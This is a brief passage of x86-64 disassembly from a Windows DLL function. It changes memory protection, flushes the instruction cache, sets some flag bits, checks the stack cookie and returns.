call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, rdi
mov r8, r15
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, byte [r14]
and r12b, 1
lea ecx, [r12 + r12]
and al, 0xf9
or al, cl
shl r12b, 2
or r12b, al
mov byte [r14], r12b
xor esi, esi
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180018f40
mov eax, esi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret